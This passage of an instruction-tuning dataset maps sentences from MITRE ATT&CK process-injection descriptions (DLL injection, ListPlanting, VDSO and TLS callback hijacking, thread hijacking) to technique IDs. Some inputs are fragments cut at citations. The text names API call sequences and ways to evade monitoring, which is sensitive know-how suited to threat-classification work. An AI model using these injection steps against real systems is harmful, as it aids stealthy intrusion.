(ROP) payload with available gadgets/instructions. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Each running process has its own directory, which includes memory mappings.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Each running process has its own directory, which includes memory mappings. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR).", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once enumerated, the target processes\u2019 memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once enumerated, the target processes\u2019 memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ListPlanting is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ListPlanting is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation:", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Finally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Finally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VDSO hijacking involves redirecting calls to dynamically linked shared libraries.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VDSO hijacking involves redirecting calls to dynamically linked shared libraries. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008).", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017) ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "EWM injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: EWM injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation:", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Window Classes)", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Window Classes) ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function) ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation:", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Elastic Process Injection July 2017)", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Elastic Process Injection July 2017) ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013) ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DLL injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DLL injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL).", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection)", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code> ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017) ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### 